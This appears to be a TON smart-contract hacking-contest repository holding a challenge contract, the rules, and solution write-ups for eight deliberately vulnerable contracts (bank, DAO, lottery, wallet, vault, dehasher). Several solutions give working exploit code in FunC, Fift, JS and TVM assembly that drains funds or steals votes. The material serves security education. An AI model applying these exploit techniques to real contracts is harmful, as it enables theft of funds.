[EQD3BByx0Af1jU-9dKIoK4hX0v4wDQD3sxd-i8jvVJtIrTr9](https://tonwhales.com/explorer/address/EQD3BByx0Af1jU-9dKIoK4hX0v4wDQD3sxd-i8jvVJtIrTr9) 6 | -------------------------------------------------------------------------------- /8. dehasher/build.sh: -------------------------------------------------------------------------------- 1 | func -o dehasher-code.fif -SPA dehasher.func 2 | -------------------------------------------------------------------------------- /8. dehasher/dehasher.func: -------------------------------------------------------------------------------- 1 | #include "stdlib.func"; 2 | 3 | ;; This asm actually do nothing on TVM level, but force compiler to think that 4 | ;; typeless continuation is actually int-to-slice function 5 | (int -> slice) cast_to_I2S(cont c) asm "NOP"; 6 | 7 | ;; Put cell to c5 (we need it to clean register) 8 | () set_c5 (cell) impure asm "c5 POPCTR"; 9 | 10 | 11 | ;; This asm gets two argument: int and function 12 | ;; Then it passes it to "wrapper" and execute wrapper with "2 1 CALLXARGS" 13 | ;; that means move to wrapper stack two elements and then return 1 element. 14 | ;; Wrapper itself try to execute function but catches exceptions, also it checks that 15 | ;; after execution there is at least one element on stack via `DEPTH 2 THROWIFNOT`. 16 | ;; If function didn't throw, wrapper returns it's result, otherwise it returns NULL from CATCH statement 17 | slice try_execute(int image, (int -> slice) dehasher) asm "<{ TRY:<{ EXECUTE DEPTH 2 THROWIFNOT }>CATCH<{ 2DROP NULL }> }>CONT" "2 1 CALLXARGS"; 18 | 19 | 20 | ;; We do not trust function which we test: it may try to send messages or do other nasty things 21 | ;; so we wrap it to the function which save register values prior to execution 22 | ;; and restores them after 23 | slice safe_execute(int image, (int -> slice) dehasher) inline { 24 | cell c4 = get_data(); 25 | 26 | slice preimage = try_execute(image, dehasher); 27 | 28 | ;; restore c4 if dehasher spoiled it 29 | set_data(c4); 30 | ;; clean actions if dehasher spoiled them 31 | set_c5(begin_cell().end_cell()); 32 | 33 | return preimage; 34 | } 35 | 36 | ;; read test vectors from storage 37 | tuple get_test_vectors() inline { 38 | slice storage = get_data().begin_parse(); 39 | tuple list = null(); 40 | int break = false; 41 | do { 42 | if(storage.slice_bits() > 0) { 43 | list = cons(storage~load_uint(256), list); 44 | } else { 45 | if(storage.slice_refs()) { 46 | storage = storage.preload_ref().begin_parse(); 47 | } else { 48 | break = true; 49 | } 50 | } 51 | } until(break); 52 | return list; 53 | } 54 | 55 | () main (cell in_msg_full, slice in_msg_body) { 56 | 57 | slice cs = in_msg_full.begin_parse(); 58 | int flags = cs~load_uint(4); 59 | 60 | if (flags & 1) { ;; ignore all bounced messages 61 | return (); 62 | } 63 | tuple test_vectors = get_test_vectors(); 64 | slice sender_address = cs~load_msg_addr(); 65 | cell dehasher_code = in_msg_body~load_ref(); 66 | var dehasher = cast_to_I2S(dehasher_code.begin_parse().bless()); 67 | do { 68 | (var test, test_vectors) = uncons(test_vectors); 69 | var preimage = safe_execute(test, dehasher); 70 | throw_unless(777, string_hash(preimage) == test); 71 | } until (test_vectors.null?()); 72 | 73 | ;; And the winner is ... sender_address! 74 | ;; Can't touch this. 75 | var msg = begin_cell() 76 | .store_uint(0x18, 6) 77 | .store_slice(sender_address) 78 | .store_coins(0) 79 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 80 | .end_cell(); 81 | send_raw_message(msg, 2 + 128); 82 | } 83 | -------------------------------------------------------------------------------- /8. dehasher/init.fif: -------------------------------------------------------------------------------- 1 | #!/usr/bin/fift -s 2 | "TonUtil.fif" include 3 | "Asm.fif" include 4 | 5 | <{ 6 | SETCP0 ACCEPT 7 | "dehasher-code.fif" include PUSHREF SETCODE 8 | 0 PUSHINT 9 | }>s =: contract_code 10 | 11 | =: contract_storage 15 | 16 | ref, contract_storage ref, b> 17 | dup =: state_init 18 | 19 | dup hashu 0 swap 2constant contract_address 20 | ."new dehasher wallet address = " contract_address .addr cr 21 | 22 | ."Non-bounceable address (for init): " contract_address 7 .Addr cr 23 | ."Bounceable address (for later access): " contract_address 6 .Addr cr 24 | 25 | 27 | 2 boc+>B 28 | 29 | "query-init-dehasher.boc" tuck B>file 30 | ."(Saved dehasher contract creating query to file " type .")" cr 31 | 32 | 33 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Rules 2 | 3 | This contest is dedicated to finding vulnerabilities in smart-contracts. To be able to participate you need to have a couple of TON, know how to compose arbitrary cells (via [fift](https://ton.org/docs/#/smart-contracts/?id=fift)/[tonweb](https://github.com/toncenter/tonweb)/[ton3](https://t.me/tonblockchain/121)/[ton(whales)](https://github.com/TONCommunity/ton)/[tongo](https://github.com/xssnick/tonutils-go)/[pytonlib](https://github.com/toncenter/pytonlib)), know how to compose internal messages and send messages to the network. It will be useful to know how to read tl-b notation. 4 | 5 | Each contract contains major flow which allows to bypass intended logic and stole all funds. 6 | 7 | There will two stages of the contest: 8 | 1. The first 5 contracts are revealed at the same time to hack. After all smart contracts of the first stage will be hacked, there will be a 15-minute break. 9 | 2. The last 3 contracts will be revealed one by one: once a contract is hacked, there will be a 15-minute break and the address and info of the next smart contract will be revealed. 10 | 11 | For almost all contracts their funC code will be available on reveal. Some, however, will be closed sourced: you will need to disassemble them via [tonwhales.com](tonwhales.com/explorer) / [tonscan.org](tonscan.org) / [dton.io](dton.io) / [ton.cx](ton.cx) 12 | 13 | # Stage 1 14 | 15 | | Task | Address | 16 | |--------------|---------------------------------------------| 17 | | 1. Mutual funds | [EQBuOFgr-R0W6-guv3B1D2bkiqWu1o5YsUMqjgqVuI3V1ETo](https://tonscan.org/address/EQBuOFgr-R0W6-guv3B1D2bkiqWu1o5YsUMqjgqVuI3V1ETo) | 18 | | 2. Bank | [EQAcUZubVYakkC5IiW1k9sFroNSfCfXYIgp5t5ba0w-CtBoq](https://tonapi.io/account/EQAcUZubVYakkC5IiW1k9sFroNSfCfXYIgp5t5ba0w-CtBoq) | 19 | | 3. DAO | [EQAio2xuMYJqJZlXG4e1TeKpeWn976tcZTXybVKVIuphuoVy](https://tonwhales.com/explorer/address/EQAio2xuMYJqJZlXG4e1TeKpeWn976tcZTXybVKVIuphuoVy) | 20 | | 4. Lottery | [EQAb7oOzKXG31RD6Ob9O4tEbVebY2zJo5ARggkf-mWSyQb4M](https://dton.io/a/EQAb7oOzKXG31RD6Ob9O4tEbVebY2zJo5ARggkf-mWSyQb4M) | 21 | | 5. Wallet | [EQBe9ZblcnkpGklcpQni_O4Y1_YD-80FSTxF9kd8R53L2hIi](https://ton.cx/address/0QBe9ZblcnkpGklcpQni_O4Y1_YD-80FSTxF9kd8R53L2vRt) | 22 | 23 | 24 | # Stage 2 25 | | Task | Address | 26 | |--------------|---------------------------------------------| 27 | | 6. Vault | [EQB7QOtPKxZjgo6jDGTk9ZSvgkgZb8wys1-ptFZB2TXC3V3p](https://ton.cx/address/EQB7QOtPKxZjgo6jDGTk9ZSvgkgZb8wys1-ptFZB2TXC3V3p) | 28 | | 7. Better bank | [EQD9XPtwX7jn4gSQCchnb9zxpLfxfANes7EkHlWigzi_BHAI](https://tonscan.org/address/EQD9XPtwX7jn4gSQCchnb9zxpLfxfANes7EkHlWigzi_BHAI) | 29 | | 8. Dehasher | [EQD3BByx0Af1jU-9dKIoK4hX0v4wDQD3sxd-i8jvVJtIrTr9](https://tonwhales.com/explorer/address/EQD3BByx0Af1jU-9dKIoK4hX0v4wDQD3sxd-i8jvVJtIrTr9) | 30 | 31 | -------------------------------------------------------------------------------- /Solutions from winners/1. mutual fund: -------------------------------------------------------------------------------- 1 | As there are no code execution branches, I wanted to find out way to skip authorize function. Then I've seen that it has not impure specifier and returns nothing, so sent request to pull money out. 2 | -------------------------------------------------------------------------------- /Solutions from winners/2. bank: -------------------------------------------------------------------------------- 1 | Understanding the task 2 | 3 | Open the repo https://github.com/ton-blockchain/hack-challenge-1. 4 | 5 | Navigate to the second task https://github.com/ton-blockchain/hack-challenge-1/tree/master/2.%20bank. 6 | 7 | Read and understand the task. https://github.com/ton-blockchain/hack-challenge-1/tree/master/2.%20bank, 8 | the contract is just a bank, user can put in and withdraw the money 9 | 10 | Looked up the contract on tonscan https://tonscan.org/address/EQAcUZubVYakkC5IiW1k9sFroNSfCfXYIgp5t5ba0w-CtBoq, saw that there's a balance of 3000 TON. 11 | 12 | Looked at the actual contract code. https://github.com/ton-blockchain/hack-challenge-1/blob/master/2.%20bank/bank.func. 13 | 14 | Smart contract 15 | 16 | Verified there's nothing unusual in the internal messages part, and moved to op-codes. https://github.com/ton-blockchain/hack-challenge-1/blob/master/2.%20bank/bank.func#L11-L27 17 | 18 | Depositing money: https://github.com/ton-blockchain/hack-challenge-1/blob/master/2.%20bank/bank.func#L29-L37. When adding money, the deposited amount of money is added to the account balance sans the fee of 1 TON 19 | 20 | Withdrawal: 21 | https://github.com/ton-blockchain/hack-challenge-1/blob/master/2.%20bank/bank.func#L38-L55. The User balance is loaded and then it's verified that the requested amount is less than the account balance. Then the user balance is updated and the withdrawal happens 22 | 23 | There was a mistake in the code updating the account balance: 24 | https://github.com/ton-blockchain/hack-challenge-1/blob/master/2.%20bank/bank.func#L44-L47. 25 | 26 | If the balance after the withdrawal equals 0, the balance doesn't get updates. this allows performing multiple withdrawals as long as the amount equals the account balance. 27 | 28 | Time to write the exploit 29 | 30 | Exploit 31 | 32 | I used Tonkeeper to send the transaction. 33 | 34 | First transaction deposits the money on the smart contract. To do this I used the following snippet below: 35 | 36 | import { beginCell } from 'ton'; 37 | 38 | const address = 'EQAcUZubVYakkC5IiW1k9sFroNSfCfXYIgp5t5ba0w-CtBoq'; 39 | const ton = 1e9; // Deposit 1 TON 40 | const fee = 1e7; // Fee 0.01 TON 41 | 42 | const cell = beginCell() 43 | .storeUint(0, 32) // opcode for making the deposit 44 | .storeUint(0, 64) // query id 45 | .endCell(); 46 | 47 | const data = cell.toBoc().toString('base64') 48 | .replaceAll('+', '-') 49 | .replaceAll('/', '_'); 50 | 51 | const url = `https://app.tonkeeper.com/transfer/${address}?amount=${ton + fee}&bin=${data}`; 52 | 53 | The snippet creates a cell for adding money to the account, in this case we deposit 1 TON, and then a tonkeeper link is generated. 54 | 55 | After sending out the transaction, the smart contract account balance would be 1 TON. 56 | 57 | Second transaction: withdrawing the same amount that was added, using the following snippet: 58 | 59 | import { beginCell } from 'ton'; 60 | 61 | const address = 'EQAcUZubVYakkC5IiW1k9sFroNSfCfXYIgp5t5ba0w-CtBoq'; 62 | const ton = 1e9; // request for withdrawing 1 TON 63 | const fee = 1e7; // fee 64 | 65 | const cell = beginCell() 66 | .storeUint(1, 32) // opcode for withdrawal 67 | .storeUint(0, 64) // query id 68 | .storeCoins(ton) // requested amount 69 | .endCell(); 70 | 71 | const data = cell.toBoc().toString('base64') 72 | .replaceAll('+', '-') 73 | .replaceAll('/', '_'); 74 | 75 | const url = `https://app.tonkeeper.com/transfer/${address}?amount=${fee}&bin=${data}`; 76 | 77 | The snippet creates a cell for withdrawing from the account. The sum has to match the account balance, for the exploit to work. 78 | 79 | Then a tonkeeper transaction link is generated. 80 | 81 | After executing the transaction, the smart contract sends back 1 TON, but keeps the same account balance, so it's possible to repeat this, until the contract runs out of tons. 82 | -------------------------------------------------------------------------------- /Solutions from winners/3. dao: -------------------------------------------------------------------------------- 1 | Saw strange usage of int instead of uint in_msg_body~load_int(256), found that votes can be moved in reverse direction, moved votes to own wallet and proposed action to send out message. -------------------------------------------------------------------------------- /Solutions from winners/4. lottery: -------------------------------------------------------------------------------- 1 | I looked via an explorer at a random transaction with inbound internal message to find out how logical time of the sender contract correlates with logical time of the receiver contract. I noticed that they usualy differ by 2. I supposed this would also be true during the hack. 2 | 3 | I hadn't think about the elegant solution using the fact that the random seed is increased with user-provided number. But I had noticed that you could deduce in the contract code whether a message sent with the current execution to the lottery would win. First I wrote a contract which accepts an external message only if the current logical time would allow to win the lottery. But then I realised that using this way you can only have one attempt per 5 seconds, which is way too slow. I could include a salt in the external message to be added to the seed in order to increase the number of attempts per block, but it would require automating sending different external messages at once -- something I didn't really want to do. So I decided to brute force the salt in the contract itself by invoking it repeatedly sending a message to itself. I had spent around 40 TONs for it, but hadn't won the lottery. So I decided to optimize the contract a little bit: I removed the salt because logical time of each transaction is already changing. I deployed it, sent 20 TONs for the gas fees -- and won the lottery! By the way, because of the lack of time I made my brute force contract to send the prize to anyone in response to receiving a message carrying at least 1 TON -- so someone could have stolen my prize actually. 4 | -------------------------------------------------------------------------------- /Solutions from winners/6. vault: -------------------------------------------------------------------------------- 1 | 1. Vault should send reward if the op is not the op_not_winner and the message is from the database. 2 | 2. Vault does not have bounce handler 3 | 3. Vault can proxy message to database if user sends “check” 4 | 4. In database we can set msg_addr_none as an award address cause load_msg_address allows it 5 | 5. We are requesting check from vault, database tries to parse msg_addr_none using parse_std_addr and fails 6 | 6. Message bounces to the vault from database and the op is not op_not_winner -------------------------------------------------------------------------------- /Solutions from winners/8.dehasher: -------------------------------------------------------------------------------- 1 | It was rather obvious that you had to use the ability to run user-provided code to hack the contract. For some reason I mixed up set_c3 with set_c5 command and thought that the bug is in incorrect way of protecting from set_code action. So I decided to somehow change the code of the contract to my own and then in a separate transaction get my prize -- however, ultimately I could just send the money to my wallet instead of changing the code of the contract. 2 | 3 | Next I had to come up with an idea of terminating the contract execution before it would throw on preimage check (I was still mixing up set_c3 and set_c5). Simple THROW 0 didn't work, because the try-catch block also catches this kind of exceptions. I tried to set my own exception handler (c2 register) to succesfully terminate TVM after the throw on throw_unless(777, string_hash(preimage) == test); but then realized that it wouldn't work because I could only set c2 for my own continuation, not the main one. Eventually I realized I could simply set the c0 register to a continuation with THROW 0 so the execution wouldn't return to the main code. 4 | 5 | Because of solving the task in a rush, I used a code similar to something like this 6 | <{ DROP b{} PUSHSLICE 7 | <{ 0 THROW }>CONT c0 POPCTR 8 | "wallet.fif" include PUSHREF SETCODE 9 | }>c constant code 10 | 11 | But I guess somethink like following would also work fine: 12 | <{ <{ }>CONT c0 POPCTR 13 | "wallet.fif" include PUSHREF SETCODE 14 | }>c constant code 15 | 16 | Or even 17 | <{ <{ }>CONT c0 POPCTR 18 | [send all coins to my wallet] 19 | }>c constant code -------------------------------------------------------------------------------- /Solutions/1. mutual_fund.md: -------------------------------------------------------------------------------- 1 | `authorize` does not have an `impure` modifier and thus will be optimized out. 2 | 3 | So the solution is just to create any request to spend money, for instance via fift: 4 | ```fift 5 | "TonUtil.fif" include 6 | =: message 7 | 8 | ref, 0x0ec3c86d 32 u, 128 8 u, message ref, b> ref, b> 9 | 2 boc+>B "solution.boc" B>file 10 | ``` 11 | -------------------------------------------------------------------------------- /Solutions/2. bank.md: -------------------------------------------------------------------------------- 1 | `accounts.udict_delete_get?` does not actually remove balance record (`accounts~udict_delete_get?` should be used insted). 2 | 3 | That way, when the user tries to withdraw the whole balance, (s)he gets TON, but records do not update. 4 | 5 | Balance can be withdrawn manually one-by-one message, alternatively, a simple exploit contract can be deployed: 6 | 7 | 8 | ```func 9 | const int balance = 40000000; 10 | const int fee = 10000000; 11 | const slice target = "XXX"a; 12 | const slice benefeciar = "XXX"a; 13 | 14 | () recv_internal(in_msg_full, in_msg_body) { 15 | slice cs = in_msg_full.begin_parse(); 16 | int flags = cs~load_uint(4); 17 | 18 | if (flags & 1) { ;; ignore all bounced messages 19 | return (); 20 | } 21 | if(in_msg_body.slice_bits() > 0) { 22 | ;; deposit 23 | var msg = begin_cell() 24 | .store_uint(0x18, 6) 25 | .store_slice(target) 26 | .store_coins(balance + fee) 27 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 28 | .store_uint(0, 96) 29 | .end_cell(); 30 | send_raw_message(msg, 3); 31 | ;; withdraw 32 | var msg = begin_cell() 33 | .store_uint(0x18, 6) 34 | .store_slice(target) 35 | .store_coins(fee) 36 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 37 | .store_uint(1, 32) 38 | .store_uint(0, 64) 39 | .store_coins(balance) 40 | .end_cell(); 41 | send_raw_message(msg, 3); 42 | } else { 43 | var msg = begin_cell() 44 | .store_uint(0x18, 6) 45 | .store_slice(target) 46 | .store_coins(fee) 47 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 48 | .store_uint(1, 32) 49 | .store_uint(0, 64) 50 | .store_coins(balance) 51 | .end_cell(); 52 | send_raw_message(msg, 3); 53 | ;; send profit to benefeciar 54 | var msg = begin_cell() 55 | .store_uint(0x18, 6) 56 | .store_slice(benefeciar) 57 | .store_coins(0) 58 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 59 | .end_cell(); 60 | send_raw_message(msg, 128); 61 | } 62 | } 63 | ``` 64 | -------------------------------------------------------------------------------- /Solutions/3. dao.md: -------------------------------------------------------------------------------- 1 | Accidentally `move votes` functionality contain an error: transferred vote power is a signed integer that allows stealing votes. 2 | 3 | So, it is possible to steal 2/3 of all voting power and then execute any request. Code for generation of relevant messages to dao contract 4 | 5 | ```fift 6 | "TonUtil.fif" include 7 | 8 | 12 | 2 boc+>B "dao-steal-1.boc" B>file 13 | 14 | 18 | 2 boc+>B "dao-steal-2.boc" B>file 19 | 20 | 24 | 2 boc+>B "dao-steal-3.boc" B>file 25 | 26 | 30 | 2 boc+>B "dao-steal-4.boc" B>file 31 | 32 | =: message 33 | 34 | ref, 36 | b> 37 | 2 boc+>B "dao-execute.boc" B>file 38 | ``` 39 | -------------------------------------------------------------------------------- /Solutions/4. lottery.md: -------------------------------------------------------------------------------- 1 | Random that is used by lottery is not secure enough, it is just `lt` plus user input. Straightforward, but tedious approach is to try to predict lt of future transaction and brute-force winning seed. 2 | 3 | A more elegant approach is to brute-force seed onchain since in that case `lt` of lottery-transaction is much more predictable: usually, it is sender transaction `lt` + 2 4 | 5 | 6 | ```func 7 | const slice lottery = "XXX"a; 8 | const slice benefeciar = "XXX"a; 9 | 10 | () recv_internal(cell in_msg_full, slice in_msg_body) { 11 | var msg = begin_cell() 12 | .store_uint(0x18, 6) 13 | .store_slice(benefeciar) 14 | .store_coins(0) 15 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 16 | .end_cell(); 17 | send_raw_message(msg, 128); 18 | } 19 | 20 | () recv_external() { 21 | int seed = cur_lt() + 2; 22 | int nonce = 0; 23 | int break = false; 24 | accept_message(); 25 | do { 26 | set_seed(seed + nonce); 27 | break = rand(10000) == 7777; 28 | nonce -= ~ break; 29 | 30 | } until break; 31 | var msg = begin_cell() 32 | .store_uint(0x18, 6) 33 | .store_slice(lottery) 34 | .store_coins(1000000000) 35 | .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1) 36 | .store_uint(nonce, 128) 37 | .end_cell(); 38 | send_raw_message(msg, 3); 39 | } 40 | ``` 41 | -------------------------------------------------------------------------------- /Solutions/5. wallet.md: -------------------------------------------------------------------------------- 1 | # Wallet 2 | The idea behind this contract is that to spend money you need to know the preimage of the image saved in the contract, something like a one-time password. 3 | Obviously, it is unsafe in many ways: for instance, any relay party may change the request prior to it being included in the block, however, on practice it may work for a while. 4 | 5 | The problem with the contract on the contest is that the current password was previously reused, thus it can be found in history and used to withdraw funds. 6 | 7 | The following script will do the trick. 8 | 9 | ```fift 10 | 11 | "TonUtil.fif" include 12 | 13 | =: message1 19 | 20 | envelope old_seed s, 128 8 u, message1 ref, new_seed shash 256 B>u@ 256 u, b> 2 boc+>B 21 | 22 | "external-message-withdraw.boc" B>file 23 | 24 | ``` 25 | -------------------------------------------------------------------------------- /Solutions/6. vault.md: -------------------------------------------------------------------------------- 1 | There are a few subtle errors that allow stealing the funds. 2 | 3 | Let's analyze the `vault.func` first: 4 | 5 | 1) When `vault.func` receives a message from a `database.func`, instead of manually comparing `op` against all possible op codes (`op_not_winner`, `op_winner`) it has an else-branch. Even worse - the else-branch transfers all the funds! The Code of `database.func` never sends any op codes other than these two, so having and else-branch instead of `if (op == op_winner)` should be equivalent ... but there is a subtle error #2: 6 | 7 | 2) `vault.func` doesn't handle bounced messages, which means it processes them like any others, and because the bounced messages are automatically given the op code 0xffffffff, they would fall into the else-branch thus releasing all the funds! 8 | 9 | The trick now is to get the bounce. Let's take a look at the `database.func`: 10 | 11 | The code, which handles messages from the vault is quite short and it just loads the data according to a format in which it itself saved the data in the storage before. It was a complicated sentence. Simplified version: you don't have control over the format of the storage. What you have control over is `award_address`. The problem here is very subtle: 12 | 13 | 3) `award_address` might not be a standard `workchain+address_hash` type of address and in that case, the `parse_std_addr` would fail. 14 | 15 | Note how `parse_std_addr` is only happening at the vault's request. That is why you can register a non-standard address to receive an award, but the vault can't properly request info about it. 16 | 17 | So here is how the exploit works: 18 | 1) Compose a non-standard address 19 | 2) Register to participate from your wallet, specifying the address from step #1 to receive an award 20 | 3) Request vault for your status 21 | And enjoy money in your wallet. 22 | 23 | 24 | -------------------------------------------------------------------------------- /Solutions/7. better bank.md: -------------------------------------------------------------------------------- 1 | **Note, it seems that winner used other strategy to solve this task.** Below is *our* solution. 2 | 3 | The problem with bank is that approach used to “preserve” money from stealing is not working instantly: instead it sends message which will be somewhat later received by bank. So if withdraw request will reach bank while all money is on the fly, bank will be insolvent during request processing. This issue is exacerbated by the fact that when bank is insolvent it sends all money to last withdrawer and self-destructs. 4 | As a result to hack the bank one need to 5 | 1. deposit money into bank 6 | 2. send two close requests for withdrawal: the easiest way is to send two messages in one transaction via wallet-v2/v3 (it supports sending up to 4 messages in one tx, however some manual scripting is required) 7 | 3. redeploy bank with empty user accounts table 8 | 4. deposit small sum and withdraw all "unowned" money 9 | 10 | ### Aftermath 11 | It was expected that the 7th task will illustrate the importance of taking into account concurrency and race conditions. However, it demonstrated another important aspect of working in TON: hashmaps should be treated quite carefully. 12 | 13 | Contract "reserves" money by sending them to itself always assuming that it has enough money to reserve. To ensure this, the contract withholds constant commission from deposits and withdrawals. The problem is that operations with hashmaps are not constant gas: the deeper the hashmap, the more cells it requires to handle to insert/delete key-value, and the more fee it requires. 14 | 15 | So once enough contestants deposited TON to the bank total fee of the deposit/withdraw cycle was slightly more than deposit+withdrawal fees (something like 0.003 TON). That means that on each operation balance of the contract decreased. 16 | 17 | The winner (and simultaneously the spammer) managed to send so many deposit/withdrawal requests that the balance of the contract become less than the sum of the balances of depositors, "reserve" operation quietly failed and the winner got the whole balance. 18 | -------------------------------------------------------------------------------- /Solutions/8. dehasher.md: -------------------------------------------------------------------------------- 1 | `out of gas` exception can not be caught by `CATCH`. At the same time `COMMIT` does the following: 2 | > Commits the current state of registers c4 ("persistent data") and c5 ("actions") so that the current execution is considered "successful" with the saved values even if an exception is thrown later. 3 | 4 | Combining: we can set registers to the desired state, then *commit*, and then run out of gas. 5 | Straightforward way to steal money is to send a message to ourselves. Alternatively, it is possible to rewrite test vectors to one with a known preimage as below: 6 | 7 | 8 | 9 | ```fift 10 | "Asm.fif" include 11 | <{ 12 | // _0 13 | DROP // 14 | x{} PUSHSLICE // _1 15 | SHA256U // _2 16 | NEWC // _2 _3 17 | 256 STU // _5 18 | ENDC // _6 19 | c4 POP 20 | COMMIT 21 | 0 PUSHINT // _9=0 22 | SETGASLIMIT 23 | x{} PUSHSLICE // _11 24 | }>c 25 | 26 | 27 | 2 boc+>B "dehasher.boc" B>file 28 | 29 | 30 | <{ 31 | DROP // 32 | x{} PUSHSLICE // _1 33 | }>c 34 | 35 | 36 | 2 boc+>B "dehasher2.boc" B>file 37 | ``` 38 | --------------------------------------------------------------------------------